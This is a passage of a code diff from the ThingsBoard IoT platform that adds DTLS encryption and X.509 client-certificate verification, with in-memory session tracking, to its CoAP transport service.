245 | + transportService.process(sessionInfo, | ||
246 | + coapTransportAdaptor.convertToPostTelemetry(sessionId, request, | ||
247 | + transportConfigurationContainer.getTelemetryMsgDescriptor()), | ||
248 | + new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | ||
249 | + reportActivity(sessionInfo, attributeSubscriptions.contains(sessionId), rpcSubscriptions.contains(sessionId)); | ||
250 | + break; | ||
251 | + case CLAIM_REQUEST: | ||
252 | + transportService.process(sessionInfo, | ||
253 | + coapTransportAdaptor.convertToClaimDevice(sessionId, request, sessionInfo), | ||
254 | + new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | ||
255 | + break; | ||
256 | + case SUBSCRIBE_ATTRIBUTES_REQUEST: | ||
257 | + TransportProtos.SessionInfoProto currentAttrSession = tokenToSessionIdMap.get(getTokenFromRequest(request)); | ||
258 | + if (currentAttrSession == null) { | ||
259 | + attributeSubscriptions.add(sessionId); | ||
260 | + registerAsyncCoapSession(exchange, sessionInfo, coapTransportAdaptor, getTokenFromRequest(request)); | ||
261 | + transportService.process(sessionInfo, | ||
262 | + TransportProtos.SubscribeToAttributeUpdatesMsg.getDefaultInstance(), new CoapNoOpCallback(exchange)); | ||
263 | + } | ||
264 | + break; | ||
265 | + case UNSUBSCRIBE_ATTRIBUTES_REQUEST: | ||
266 | + TransportProtos.SessionInfoProto attrSession = lookupAsyncSessionInfo(getTokenFromRequest(request)); | ||
267 | + if (attrSession != null) { | ||
268 | + UUID attrSessionId = new UUID(attrSession.getSessionIdMSB(), attrSession.getSessionIdLSB()); | ||
269 | + attributeSubscriptions.remove(attrSessionId); | ||
270 | + transportService.process(attrSession, | ||
271 | + TransportProtos.SubscribeToAttributeUpdatesMsg.newBuilder().setUnsubscribe(true).build(), | ||
272 | + new CoapOkCallback(exchange, CoAP.ResponseCode.DELETED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | ||
273 | + closeAndDeregister(sessionInfo, sessionId); | ||
274 | + } | ||
275 | + break; | ||
276 | + case SUBSCRIBE_RPC_COMMANDS_REQUEST: | ||
277 | + TransportProtos.SessionInfoProto currentRpcSession = tokenToSessionIdMap.get(getTokenFromRequest(request)); | ||
278 | + if (currentRpcSession == null) { | ||
279 | + rpcSubscriptions.add(sessionId); | ||
280 | + registerAsyncCoapSession(exchange, sessionInfo, coapTransportAdaptor, getTokenFromRequest(request)); | ||
281 | + transportService.process(sessionInfo, | ||
282 | + TransportProtos.SubscribeToRPCMsg.getDefaultInstance(), | ||
283 | + new CoapNoOpCallback(exchange)); | ||
284 | + } else { | ||
285 | + UUID rpcSessionId = new UUID(currentRpcSession.getSessionIdMSB(), currentRpcSession.getSessionIdLSB()); | ||
286 | + reportActivity(currentRpcSession, attributeSubscriptions.contains(rpcSessionId), rpcSubscriptions.contains(rpcSessionId)); | ||
287 | + } | ||
288 | + break; | ||
289 | + case UNSUBSCRIBE_RPC_COMMANDS_REQUEST: | ||
290 | + TransportProtos.SessionInfoProto rpcSession = lookupAsyncSessionInfo(getTokenFromRequest(request)); | ||
291 | + if (rpcSession != null) { | ||
292 | + UUID rpcSessionId = new UUID(rpcSession.getSessionIdMSB(), rpcSession.getSessionIdLSB()); | ||
293 | + rpcSubscriptions.remove(rpcSessionId); | ||
294 | + transportService.process(rpcSession, | ||
295 | + TransportProtos.SubscribeToRPCMsg.newBuilder().setUnsubscribe(true).build(), | ||
296 | + new CoapOkCallback(exchange, CoAP.ResponseCode.DELETED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | ||
297 | + closeAndDeregister(sessionInfo, sessionId); | ||
298 | + } | ||
299 | + break; | ||
300 | + case TO_DEVICE_RPC_RESPONSE: | ||
301 | + transportService.process(sessionInfo, | ||
302 | + coapTransportAdaptor.convertToDeviceRpcResponse(sessionId, request), | ||
303 | + new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | ||
304 | + break; | ||
305 | + case TO_SERVER_RPC_REQUEST: | ||
306 | + transportService.registerSyncSession(sessionInfo, getCoapSessionListener(exchange, coapTransportAdaptor), transportContext.getTimeout()); | ||
307 | + transportService.process(sessionInfo, | ||
308 | + coapTransportAdaptor.convertToServerRpcRequest(sessionId, request), | ||
309 | + new CoapNoOpCallback(exchange)); | ||
310 | + break; | ||
311 | + case GET_ATTRIBUTES_REQUEST: | ||
312 | + transportService.registerSyncSession(sessionInfo, getCoapSessionListener(exchange, coapTransportAdaptor), transportContext.getTimeout()); | ||
313 | + transportService.process(sessionInfo, | ||
314 | + coapTransportAdaptor.convertToGetAttributes(sessionId, request), | ||
315 | + new CoapNoOpCallback(exchange)); | ||
316 | + break; | ||
317 | + } | ||
318 | + } catch (AdaptorException e) { | ||
319 | + log.trace("[{}] Failed to decode message: ", sessionId, e); | ||
320 | + exchange.respond(CoAP.ResponseCode.BAD_REQUEST); | ||
321 | + } | ||
322 | + } | ||
323 | + | ||
291 | private TransportProtos.SessionInfoProto lookupAsyncSessionInfo(String token) { | 324 | private TransportProtos.SessionInfoProto lookupAsyncSessionInfo(String token) { |
292 | tokenToNotificationCounterMap.remove(token); | 325 | tokenToNotificationCounterMap.remove(token); |
293 | return tokenToSessionIdMap.remove(token); | 326 | return tokenToSessionIdMap.remove(token); |
@@ -310,7 +343,7 @@ public class CoapTransportResource extends AbstractCoapTransportResource { | @@ -310,7 +343,7 @@ public class CoapTransportResource extends AbstractCoapTransportResource { | ||
310 | 343 | ||
311 | private Optional<DeviceTokenCredentials> decodeCredentials(Request request) { | 344 | private Optional<DeviceTokenCredentials> decodeCredentials(Request request) { |
312 | List<String> uriPath = request.getOptions().getUriPath(); | 345 | List<String> uriPath = request.getOptions().getUriPath(); |
313 | - if (uriPath.size() >= ACCESS_TOKEN_POSITION) { | 346 | + if (uriPath.size() > ACCESS_TOKEN_POSITION) { |
314 | return Optional.of(new DeviceTokenCredentials(uriPath.get(ACCESS_TOKEN_POSITION - 1))); | 347 | return Optional.of(new DeviceTokenCredentials(uriPath.get(ACCESS_TOKEN_POSITION - 1))); |
315 | } else { | 348 | } else { |
316 | return Optional.empty(); | 349 | return Optional.empty(); |
@@ -322,8 +355,11 @@ public class CoapTransportResource extends AbstractCoapTransportResource { | @@ -322,8 +355,11 @@ public class CoapTransportResource extends AbstractCoapTransportResource { | ||
322 | try { | 355 | try { |
323 | if (uriPath.size() >= FEATURE_TYPE_POSITION) { | 356 | if (uriPath.size() >= FEATURE_TYPE_POSITION) { |
324 | return Optional.of(FeatureType.valueOf(uriPath.get(FEATURE_TYPE_POSITION - 1).toUpperCase())); | 357 | return Optional.of(FeatureType.valueOf(uriPath.get(FEATURE_TYPE_POSITION - 1).toUpperCase())); |
325 | - } else if (uriPath.size() == 3 && uriPath.contains(DataConstants.PROVISION)) { | ||
326 | - return Optional.of(FeatureType.valueOf(DataConstants.PROVISION.toUpperCase())); | 358 | + } else if (uriPath.size() >= FEATURE_TYPE_POSITION_CERTIFICATE_REQUEST) { |
359 | + if (uriPath.contains(DataConstants.PROVISION)) { | ||
360 | + return Optional.of(FeatureType.valueOf(DataConstants.PROVISION.toUpperCase())); | ||
361 | + } | ||
362 | + return Optional.of(FeatureType.valueOf(uriPath.get(FEATURE_TYPE_POSITION_CERTIFICATE_REQUEST - 1).toUpperCase())); | ||
327 | } | 363 | } |
328 | } catch (RuntimeException e) { | 364 | } catch (RuntimeException e) { |
329 | log.warn("Failed to decode feature type: {}", uriPath); | 365 | log.warn("Failed to decode feature type: {}", uriPath); |
@@ -336,6 +372,8 @@ public class CoapTransportResource extends AbstractCoapTransportResource { | @@ -336,6 +372,8 @@ public class CoapTransportResource extends AbstractCoapTransportResource { | ||
336 | try { | 372 | try { |
337 | if (uriPath.size() >= REQUEST_ID_POSITION) { | 373 | if (uriPath.size() >= REQUEST_ID_POSITION) { |
338 | return Optional.of(Integer.valueOf(uriPath.get(REQUEST_ID_POSITION - 1))); | 374 | return Optional.of(Integer.valueOf(uriPath.get(REQUEST_ID_POSITION - 1))); |
375 | + } else { | ||
376 | + return Optional.of(Integer.valueOf(uriPath.get(REQUEST_ID_POSITION_CERTIFICATE_REQUEST - 1))); | ||
339 | } | 377 | } |
340 | } catch (RuntimeException e) { | 378 | } catch (RuntimeException e) { |
341 | log.warn("Failed to decode feature type: {}", uriPath); | 379 | log.warn("Failed to decode feature type: {}", uriPath); |
@@ -19,7 +19,10 @@ import lombok.extern.slf4j.Slf4j; | @@ -19,7 +19,10 @@ import lombok.extern.slf4j.Slf4j; | ||
19 | import org.eclipse.californium.core.CoapResource; | 19 | import org.eclipse.californium.core.CoapResource; |
20 | import org.eclipse.californium.core.CoapServer; | 20 | import org.eclipse.californium.core.CoapServer; |
21 | import org.eclipse.californium.core.network.CoapEndpoint; | 21 | import org.eclipse.californium.core.network.CoapEndpoint; |
22 | +import org.eclipse.californium.core.network.config.NetworkConfig; | ||
22 | import org.eclipse.californium.core.server.resources.Resource; | 23 | import org.eclipse.californium.core.server.resources.Resource; |
24 | +import org.eclipse.californium.scandium.DTLSConnector; | ||
25 | +import org.eclipse.californium.scandium.config.DtlsConnectorConfig; | ||
23 | import org.springframework.beans.factory.annotation.Autowired; | 26 | import org.springframework.beans.factory.annotation.Autowired; |
24 | import org.springframework.boot.autoconfigure.condition.ConditionalOnExpression; | 27 | import org.springframework.boot.autoconfigure.condition.ConditionalOnExpression; |
25 | import org.springframework.stereotype.Service; | 28 | import org.springframework.stereotype.Service; |
@@ -30,6 +33,11 @@ import javax.annotation.PreDestroy; | @@ -30,6 +33,11 @@ import javax.annotation.PreDestroy; | ||
30 | import java.net.InetAddress; | 33 | import java.net.InetAddress; |
31 | import java.net.InetSocketAddress; | 34 | import java.net.InetSocketAddress; |
32 | import java.net.UnknownHostException; | 35 | import java.net.UnknownHostException; |
36 | +import java.util.Random; | ||
37 | +import java.util.concurrent.ConcurrentMap; | ||
38 | +import java.util.concurrent.Executors; | ||
39 | +import java.util.concurrent.ScheduledExecutorService; | ||
40 | +import java.util.concurrent.TimeUnit; | ||
33 | 41 | ||
34 | @Service("CoapTransportService") | 42 | @Service("CoapTransportService") |
35 | @ConditionalOnExpression("'${service.type:null}'=='tb-transport' || ('${service.type:null}'=='monolith' && '${transport.api_enabled:true}'=='true' && '${transport.coap.enabled}'=='true')") | 43 | @ConditionalOnExpression("'${service.type:null}'=='tb-transport' || ('${service.type:null}'=='monolith' && '${transport.api_enabled:true}'=='true' && '${transport.coap.enabled}'=='true')") |
@@ -44,34 +52,53 @@ public class CoapTransportService { | @@ -44,34 +52,53 @@ public class CoapTransportService { | ||
44 | @Autowired | 52 | @Autowired |
45 | private CoapTransportContext coapTransportContext; | 53 | private CoapTransportContext coapTransportContext; |
46 | 54 | ||
55 | + private TbCoapDtlsCertificateVerifier tbDtlsCertificateVerifier; | ||
56 | + | ||
47 | private CoapServer server; | 57 | private CoapServer server; |
48 | 58 | ||
59 | + private ScheduledExecutorService dtlsSessionsExecutor; | ||
60 | + | ||
49 | @PostConstruct | 61 | @PostConstruct |
50 | public void init() throws UnknownHostException { | 62 | public void init() throws UnknownHostException { |
51 | log.info("Starting CoAP transport..."); | 63 | log.info("Starting CoAP transport..."); |
52 | log.info("Starting CoAP transport server"); | 64 | log.info("Starting CoAP transport server"); |
53 | 65 | ||
54 | this.server = new CoapServer(); | 66 | this.server = new CoapServer(); |
67 | + | ||
68 | + CoapEndpoint.Builder capEndpointBuilder = new CoapEndpoint.Builder(); | ||
69 | + | ||
70 | + if (isDtlsEnabled()) { | ||
71 | + TbCoapDtlsSettings dtlsSettings = coapTransportContext.getDtlsSettings(); | ||
72 | + DtlsConnectorConfig dtlsConnectorConfig = dtlsSettings.dtlsConnectorConfig(); | ||
73 | + DTLSConnector connector = new DTLSConnector(dtlsConnectorConfig); | ||
74 | + capEndpointBuilder.setConnector(connector); | ||
75 | + if (dtlsConnectorConfig.isClientAuthenticationRequired()) { | ||
76 | + tbDtlsCertificateVerifier = (TbCoapDtlsCertificateVerifier) dtlsConnectorConfig.getAdvancedCertificateVerifier(); | ||
77 | + dtlsSessionsExecutor = Executors.newSingleThreadScheduledExecutor(); | ||
78 | + dtlsSessionsExecutor.scheduleAtFixedRate(this::evictTimeoutSessions, new Random().nextInt((int) getDtlsSessionReportTimeout()), getDtlsSessionReportTimeout(), TimeUnit.MILLISECONDS); | ||
79 | + } | ||
80 | + } else { | ||
81 | + InetAddress addr = InetAddress.getByName(coapTransportContext.getHost()); | ||
82 | + InetSocketAddress sockAddr = new InetSocketAddress(addr, coapTransportContext.getPort()); | ||
83 | + capEndpointBuilder.setInetSocketAddress(sockAddr); | ||
84 | + capEndpointBuilder.setNetworkConfig(NetworkConfig.getStandard()); | ||
85 | + } | ||
86 | + CoapEndpoint coapEndpoint = capEndpointBuilder.build(); | ||
87 | + | ||
88 | + server.addEndpoint(coapEndpoint); | ||
89 | + | ||
55 | createResources(); | 90 | createResources(); |
56 | Resource root = this.server.getRoot(); | 91 | Resource root = this.server.getRoot(); |
57 | TbCoapServerMessageDeliverer messageDeliverer = new TbCoapServerMessageDeliverer(root); | 92 | TbCoapServerMessageDeliverer messageDeliverer = new TbCoapServerMessageDeliverer(root); |
58 | this.server.setMessageDeliverer(messageDeliverer); | 93 | this.server.setMessageDeliverer(messageDeliverer); |
59 | 94 | ||
60 | - InetAddress addr = InetAddress.getByName(coapTransportContext.getHost()); | ||
61 | - InetSocketAddress sockAddr = new InetSocketAddress(addr, coapTransportContext.getPort()); | ||
62 | - | ||
63 | - CoapEndpoint.Builder coapEndpoitBuilder = new CoapEndpoint.Builder(); | ||
64 | - coapEndpoitBuilder.setInetSocketAddress(sockAddr); | ||
65 | - CoapEndpoint coapEndpoint = coapEndpoitBuilder.build(); | ||
66 | - | ||
67 | - server.addEndpoint(coapEndpoint); | ||
68 | server.start(); | 95 | server.start(); |
69 | log.info("CoAP transport started!"); | 96 | log.info("CoAP transport started!"); |
70 | } | 97 | } |
71 | 98 | ||
72 | private void createResources() { | 99 | private void createResources() { |
73 | CoapResource api = new CoapResource(API); | 100 | CoapResource api = new CoapResource(API); |
74 | - api.add(new CoapTransportResource(coapTransportContext, V1)); | 101 | + api.add(new CoapTransportResource(coapTransportContext, getDtlsSessionsMap(), V1)); |
75 | 102 | ||
76 | CoapResource efento = new CoapResource(EFENTO); | 103 | CoapResource efento = new CoapResource(EFENTO); |
77 | CoapEfentoTransportResource efentoMeasurementsTransportResource = new CoapEfentoTransportResource(coapTransportContext, MEASUREMENTS); | 104 | CoapEfentoTransportResource efentoMeasurementsTransportResource = new CoapEfentoTransportResource(coapTransportContext, MEASUREMENTS); |
@@ -81,8 +108,27 @@ public class CoapTransportService { | @@ -81,8 +108,27 @@ public class CoapTransportService { | ||
81 | server.add(efento); | 108 | server.add(efento); |
82 | } | 109 | } |
83 | 110 | ||
111 | + private boolean isDtlsEnabled() { | ||
112 | + return coapTransportContext.getDtlsSettings() != null; | ||
113 | + } | ||
114 | + | ||
115 | + private ConcurrentMap<String, TbCoapDtlsSessionInfo> getDtlsSessionsMap() { | ||
116 | + return tbDtlsCertificateVerifier != null ? tbDtlsCertificateVerifier.getTbCoapDtlsSessionIdsMap() : null; | ||
117 | + } | ||
118 | + | ||
119 | + private void evictTimeoutSessions() { | ||
120 | + tbDtlsCertificateVerifier.evictTimeoutSessions(); | ||
121 | + } | ||
122 | + | ||
123 | + private long getDtlsSessionReportTimeout() { | ||
124 | + return tbDtlsCertificateVerifier.getDtlsSessionReportTimeout(); | ||
125 | + } | ||
126 | + | ||
84 | @PreDestroy | 127 | @PreDestroy |
85 | public void shutdown() { | 128 | public void shutdown() { |
129 | + if (dtlsSessionsExecutor != null) { | ||
130 | + dtlsSessionsExecutor.shutdownNow(); | ||
131 | + } | ||
86 | log.info("Stopping CoAP transport!"); | 132 | log.info("Stopping CoAP transport!"); |
87 | this.server.destroy(); | 133 | this.server.destroy(); |
88 | log.info("CoAP transport stopped!"); | 134 | log.info("CoAP transport stopped!"); |
1 | +/** | ||
2 | + * Copyright © 2016-2021 The Thingsboard Authors | ||
3 | + * | ||
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
5 | + * you may not use this file except in compliance with the License. | ||
6 | + * You may obtain a copy of the License at | ||
7 | + * | ||
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
9 | + * | ||
10 | + * Unless required by applicable law or agreed to in writing, software | ||
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
13 | + * See the License for the specific language governing permissions and | ||
14 | + * limitations under the License. | ||
15 | + */ | ||
16 | +package org.thingsboard.server.transport.coap; | ||
17 | + | ||
18 | +import lombok.Data; | ||
19 | +import lombok.extern.slf4j.Slf4j; | ||
20 | +import org.eclipse.californium.elements.util.CertPathUtil; | ||
21 | +import org.eclipse.californium.scandium.dtls.AlertMessage; | ||
22 | +import org.eclipse.californium.scandium.dtls.CertificateMessage; | ||
23 | +import org.eclipse.californium.scandium.dtls.CertificateType; | ||
24 | +import org.eclipse.californium.scandium.dtls.CertificateVerificationResult; | ||
25 | +import org.eclipse.californium.scandium.dtls.ConnectionId; | ||
26 | +import org.eclipse.californium.scandium.dtls.DTLSSession; | ||
27 | +import org.eclipse.californium.scandium.dtls.HandshakeException; | ||
28 | +import org.eclipse.californium.scandium.dtls.HandshakeResultHandler; | ||
29 | +import org.eclipse.californium.scandium.dtls.x509.NewAdvancedCertificateVerifier; | ||
30 | +import org.eclipse.californium.scandium.util.ServerNames; | ||
31 | +import org.springframework.util.StringUtils; | ||
32 | +import org.thingsboard.server.common.data.DeviceProfile; | ||
33 | +import org.thingsboard.server.common.data.DeviceTransportType; | ||
34 | +import org.thingsboard.server.common.msg.EncryptionUtil; | ||
35 | +import org.thingsboard.server.common.transport.TransportService; | ||
36 | +import org.thingsboard.server.common.transport.TransportServiceCallback; | ||
37 | +import org.thingsboard.server.common.transport.auth.SessionInfoCreator; | ||
38 | +import org.thingsboard.server.common.transport.auth.ValidateDeviceCredentialsResponse; | ||
39 | +import org.thingsboard.server.common.transport.util.SslUtil; | ||
40 | +import org.thingsboard.server.gen.transport.TransportProtos; | ||
41 | +import org.thingsboard.server.queue.discovery.TbServiceInfoProvider; | ||
42 | + | ||
43 | +import javax.security.auth.x500.X500Principal; | ||
44 | +import java.security.cert.CertPath; | ||
45 | +import java.security.cert.CertificateEncodingException; | ||
46 | +import java.security.cert.CertificateExpiredException; | ||
47 | +import java.security.cert.CertificateNotYetValidException; | ||
48 | +import java.security.cert.X509Certificate; | ||
49 | +import java.util.Collections; | ||
50 | +import java.util.List; | ||
51 | +import java.util.UUID; | ||
52 | +import java.util.concurrent.ConcurrentMap; | ||
53 | +import java.util.concurrent.CountDownLatch; | ||
54 | +import java.util.concurrent.TimeUnit; | ||
55 | + | ||
56 | +@Slf4j | ||
57 | +@Data | ||
58 | +public class TbCoapDtlsCertificateVerifier implements NewAdvancedCertificateVerifier { | ||
59 | + | ||
60 | + private final TbCoapDtlsSessionInMemoryStorage tbCoapDtlsSessionInMemoryStorage; | ||
61 | + | ||
62 | + private TransportService transportService; | ||
63 | + private TbServiceInfoProvider serviceInfoProvider; | ||
64 | + private boolean skipValidityCheckForClientCert; | ||
65 | + | ||
66 | + public TbCoapDtlsCertificateVerifier(TransportService transportService, TbServiceInfoProvider serviceInfoProvider, long dtlsSessionInactivityTimeout, long dtlsSessionReportTimeout, boolean skipValidityCheckForClientCert) { | ||
67 | + this.transportService = transportService; | ||
68 | + this.serviceInfoProvider = serviceInfoProvider; | ||
69 | + this.skipValidityCheckForClientCert = skipValidityCheckForClientCert; | ||
70 | + this.tbCoapDtlsSessionInMemoryStorage = new TbCoapDtlsSessionInMemoryStorage(dtlsSessionInactivityTimeout, dtlsSessionReportTimeout); | ||
71 | + } | ||
72 | + | ||
73 | + @Override | ||
74 | + public List<CertificateType> getSupportedCertificateType() { | ||
75 | + return Collections.singletonList(CertificateType.X_509); | ||
76 | + } | ||
77 | + | ||
78 | + @Override | ||
79 | + public CertificateVerificationResult verifyCertificate(ConnectionId cid, ServerNames serverName, Boolean clientUsage, boolean truncateCertificatePath, CertificateMessage message, DTLSSession session) { | ||
80 | + try { | ||
81 | + String credentialsBody = null; | ||
82 | + CertPath certpath = message.getCertificateChain(); | ||
83 | + X509Certificate[] chain = certpath.getCertificates().toArray(new X509Certificate[0]); | ||
84 | + for (X509Certificate cert : chain) { | ||
85 | + try { | ||
86 | + if (!skipValidityCheckForClientCert) { | ||
87 | + cert.checkValidity(); | ||
88 | + } | ||
89 | + String strCert = SslUtil.getCertificateString(cert); | ||
90 | + String sha3Hash = EncryptionUtil.getSha3Hash(strCert); | ||
91 | + final ValidateDeviceCredentialsResponse[] deviceCredentialsResponse = new ValidateDeviceCredentialsResponse[1]; | ||
92 | + CountDownLatch latch = new CountDownLatch(1); | ||
93 | + transportService.process(DeviceTransportType.COAP, TransportProtos.ValidateDeviceX509CertRequestMsg.newBuilder().setHash(sha3Hash).build(), | ||
94 | + new TransportServiceCallback<>() { | ||
95 | + @Override | ||
96 | + public void onSuccess(ValidateDeviceCredentialsResponse msg) { | ||
97 | + if (!StringUtils.isEmpty(msg.getCredentials())) { | ||
98 | + deviceCredentialsResponse[0] = msg; | ||
99 | + } | ||
100 | + latch.countDown(); | ||
101 | + } | ||
102 | + | ||
103 | + @Override | ||
104 | + public void onError(Throwable e) { | ||
105 | + log.error(e.getMessage(), e); | ||
106 | + latch.countDown(); | ||
107 | + } | ||
108 | + }); | ||
109 | + latch.await(10, TimeUnit.SECONDS); | ||
110 | + ValidateDeviceCredentialsResponse msg = deviceCredentialsResponse[0]; | ||
111 | + if (msg != null && strCert.equals(msg.getCredentials())) { | ||
112 | + credentialsBody = msg.getCredentials(); | ||
113 | + DeviceProfile deviceProfile = msg.getDeviceProfile(); | ||
114 | + if (msg.hasDeviceInfo() && deviceProfile != null) { | ||
115 | + TransportProtos.SessionInfoProto sessionInfoProto = SessionInfoCreator.create(msg, serviceInfoProvider.getServiceId(), UUID.randomUUID()); | ||
116 | + tbCoapDtlsSessionInMemoryStorage.put(session.getSessionIdentifier().toString(), new TbCoapDtlsSessionInfo(sessionInfoProto, deviceProfile)); | ||
117 | + } | ||
118 | + break; | ||
119 | + } | ||
120 | + } catch (InterruptedException | | ||
121 | + CertificateEncodingException | | ||
122 | + CertificateExpiredException | | ||
123 | + CertificateNotYetValidException e) { | ||
124 | + log.error(e.getMessage(), e); | ||
125 | + } | ||
126 | + } | ||
127 | + if (credentialsBody == null) { | ||
128 | + AlertMessage alert = new AlertMessage(AlertMessage.AlertLevel.FATAL, AlertMessage.AlertDescription.BAD_CERTIFICATE, | ||
129 | + session.getPeer()); | ||
130 | + throw new HandshakeException("Certificate chain could not be validated", alert); | ||
131 | + } else { | ||
132 | + return new CertificateVerificationResult(cid, certpath, null); | ||
133 | + } | ||
134 | + } catch (HandshakeException e) { | ||
135 | + log.trace("Certificate validation failed!", e); | ||
136 | + return new CertificateVerificationResult(cid, e, null); | ||
137 | + } | ||
138 | + } | ||
139 | + | ||
140 | + @Override | ||
141 | + public List<X500Principal> getAcceptedIssuers() { | ||
142 | + return CertPathUtil.toSubjects(null); | ||
143 | + } | ||
144 | + | ||
145 | + @Override | ||
146 | + public void setResultHandler(HandshakeResultHandler resultHandler) { | ||
147 | + // empty implementation | ||
148 | + } | ||
149 | + | ||
150 | + public ConcurrentMap<String, TbCoapDtlsSessionInfo> getTbCoapDtlsSessionIdsMap() { | ||
151 | + return tbCoapDtlsSessionInMemoryStorage.getDtlsSessionIdMap(); | ||
152 | + } | ||
153 | + | ||
154 | + public void evictTimeoutSessions() { | ||
155 | + tbCoapDtlsSessionInMemoryStorage.evictTimeoutSessions(); | ||
156 | + } | ||
157 | + | ||
158 | + public long getDtlsSessionReportTimeout() { | ||
159 | + return tbCoapDtlsSessionInMemoryStorage.getDtlsSessionReportTimeout(); | ||
160 | + } | ||
161 | +} |
1 | +/** | ||
2 | + * Copyright © 2016-2021 The Thingsboard Authors | ||
3 | + * | ||
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
5 | + * you may not use this file except in compliance with the License. | ||
6 | + * You may obtain a copy of the License at | ||
7 | + * | ||
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
9 | + * | ||
10 | + * Unless required by applicable law or agreed to in writing, software | ||
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
13 | + * See the License for the specific language governing permissions and | ||
14 | + * limitations under the License. | ||
15 | + */ | ||
16 | +package org.thingsboard.server.transport.coap; | ||
17 | + | ||
18 | +import lombok.Data; | ||
19 | +import lombok.extern.slf4j.Slf4j; | ||
20 | + | ||
21 | +import java.util.concurrent.ConcurrentHashMap; | ||
22 | +import java.util.concurrent.ConcurrentMap; | ||
23 | + | ||
24 | +@Slf4j | ||
25 | +@Data | ||
26 | +public class TbCoapDtlsSessionInMemoryStorage { | ||
27 | + | ||
28 | + private final ConcurrentMap<String, TbCoapDtlsSessionInfo> dtlsSessionIdMap = new ConcurrentHashMap<>(); | ||
29 | + private long dtlsSessionInactivityTimeout; | ||
30 | + private long dtlsSessionReportTimeout; | ||
31 | + | ||
32 | + | ||
33 | + public TbCoapDtlsSessionInMemoryStorage(long dtlsSessionInactivityTimeout, long dtlsSessionReportTimeout) { | ||
34 | + this.dtlsSessionInactivityTimeout = dtlsSessionInactivityTimeout; | ||
35 | + this.dtlsSessionReportTimeout = dtlsSessionReportTimeout; | ||
36 | + } | ||
37 | + | ||
38 | + public void put(String dtlsSessionId, TbCoapDtlsSessionInfo dtlsSessionInfo) { | ||
39 | + log.trace("DTLS session added to in-memory store: [{}] timestamp: [{}]", dtlsSessionId, dtlsSessionInfo.getLastActivityTime()); | ||
40 | + dtlsSessionIdMap.putIfAbsent(dtlsSessionId, dtlsSessionInfo); | ||
41 | + } | ||
42 | + | ||
43 | + public void evictTimeoutSessions() { | ||
44 | + long expTime = System.currentTimeMillis() - dtlsSessionInactivityTimeout; | ||
45 | + dtlsSessionIdMap.entrySet().removeIf(entry -> { | ||
46 | + if (entry.getValue().getLastActivityTime() < expTime) { | ||
47 | + log.trace("DTLS session was removed from in-memory store: [{}]", entry.getKey()); | ||
48 | + return true; | ||
49 | + } else { | ||
50 | + return false; | ||
51 | + } | ||
52 | + }); | ||
53 | + } | ||
54 | + | ||
55 | +} |
common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/TbCoapDtlsSessionInfo.java
0 → 100644
1 | +/** | ||
2 | + * Copyright © 2016-2021 The Thingsboard Authors | ||
3 | + * | ||
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
5 | + * you may not use this file except in compliance with the License. | ||
6 | + * You may obtain a copy of the License at | ||
7 | + * | ||
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
9 | + * | ||
10 | + * Unless required by applicable law or agreed to in writing, software | ||
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
13 | + * See the License for the specific language governing permissions and | ||
14 | + * limitations under the License. | ||
15 | + */ | ||
16 | +package org.thingsboard.server.transport.coap; | ||
17 | + | ||
18 | +import lombok.Data; | ||
19 | +import org.thingsboard.server.common.data.DeviceProfile; | ||
20 | +import org.thingsboard.server.gen.transport.TransportProtos; | ||
21 | + | ||
22 | +@Data | ||
23 | +public class TbCoapDtlsSessionInfo { | ||
24 | + | ||
25 | + private TransportProtos.SessionInfoProto sessionInfoProto; | ||
26 | + private DeviceProfile deviceProfile; | ||
27 | + private long lastActivityTime; | ||
28 | + | ||
29 | + | ||
30 | + public TbCoapDtlsSessionInfo(TransportProtos.SessionInfoProto sessionInfoProto, DeviceProfile deviceProfile) { | ||
31 | + this.sessionInfoProto = sessionInfoProto; | ||
32 | + this.deviceProfile = deviceProfile; | ||
33 | + this.lastActivityTime = System.currentTimeMillis(); | ||
34 | + } | ||
35 | +} |
common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/TbCoapDtlsSettings.java
0 → 100644
1 | +/** | ||
2 | + * Copyright © 2016-2021 The Thingsboard Authors | ||
3 | + * | ||
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
5 | + * you may not use this file except in compliance with the License. | ||
6 | + * You may obtain a copy of the License at | ||
7 | + * | ||
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
9 | + * | ||
10 | + * Unless required by applicable law or agreed to in writing, software | ||
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
13 | + * See the License for the specific language governing permissions and | ||
14 | + * limitations under the License. | ||
15 | + */ | ||
16 | +package org.thingsboard.server.transport.coap; | ||
17 | + | ||
18 | +import com.google.common.io.Resources; | ||
19 | +import lombok.extern.slf4j.Slf4j; | ||
20 | +import org.eclipse.californium.elements.util.SslContextUtil; | ||
21 | +import org.eclipse.californium.scandium.config.DtlsConnectorConfig; | ||
22 | +import org.eclipse.californium.scandium.dtls.CertificateType; | ||
23 | +import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier; | ||
24 | +import org.springframework.beans.factory.annotation.Autowired; | ||
25 | +import org.springframework.beans.factory.annotation.Value; | ||
26 | +import org.springframework.boot.autoconfigure.condition.ConditionalOnExpression; | ||
